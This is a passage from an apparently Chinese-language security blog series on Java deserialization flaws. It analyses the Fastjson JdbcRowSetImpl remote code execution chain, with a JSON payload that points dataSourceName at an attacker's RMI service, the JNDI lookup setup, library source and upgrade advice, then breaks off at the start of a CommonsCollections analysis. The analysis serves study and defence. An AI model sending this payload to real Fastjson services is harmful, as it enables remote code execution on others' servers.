将Exploit生成的class文件放到web目录下
然后将我们的客户端lookup的地址指向刚才我们创建的RMI服务从而达到代码执行

System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
Context ctx = new InitialContext();
Object obj = ctx.lookup("Exploit");

所以说整个攻击流程为
受害者JNDI–>攻击者RMI服务–>受害者JNDI加载web服务中的恶意class–>受害者执行其构造方法

基于JdbcRowSetImpl的POC分析

public class SomeFastjsonApp {
    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }
    public static void testJdbcRowSetImpl(){
        //JDK 8u121以后版本需要设置改系统变量
        //System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        //RMI 方式
        String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
                " \"autoCommit\":true}";
        JSONObject.parseObject(payload2);
    }
}

在反序列化过程中会设置dataSourceName属性,这个是其父类BaseRowSet继承过来的。

public void setDataSourceName(String var1) throws SQLException {
        if(this.getDataSourceName() != null) {
            if(!this.getDataSourceName().equals(var1)) {
                String var2 = this.getDataSourceName();
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
                this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);
            }
        } else {
            super.setDataSourceName(var1);
            this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);
        }

    }

设置autoCommit属性

public void setAutoCommit(boolean var1) throws SQLException {
        if(this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }

其中触发connect方法

protected Connection connect() throws SQLException {
        if(this.conn != null) {
            return this.conn;
        } else if(this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
        }
    }

这里关键的可以看到

InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

这里可以发现其实例化了InitialContext并且调用了lookup方法,又因为其getDataSourceName为我们之前set的dataSourceName也就是攻击者的RMI服务,最终造成任意代码执行
效果如下
屏幕快照 2018-07-13 下午7.51.44

修复建议

升级旧版本Fastjson
影响范围:1.2.24及之前版本
安全版本:>=1.2.28

参考资料

http://www.freebuf.com/vuls/115849.html
https://paper.seebug.org/417/
http://xxlegend.com/2017/12/06/基于JdbcRowSetImpl的Fastjson%20RCE%20PoC构造与分析/
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf

探秘Java反序列化漏洞三:CommonsCollections反序列化漏洞分析

通过前两篇文章,我们已经明白了序列化与反序列化的过程,事实上反序列化漏洞简单来说就是应用在对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行
要说Java反序列化漏洞,最经典的可能就是Apache CommonsCollections,由于其为Apache开源项目的重要组件,所以使用量非常大,从而影响了大量Java Web Server,这个漏洞横扫当时WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版,可以说对于反序列化安全有着重要意义

漏洞分析

org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架
首先我们先来看其调用链

AnotationInvocationHandler.readObject()
     Map(Proxy).entrySet()
          AnotationInvocat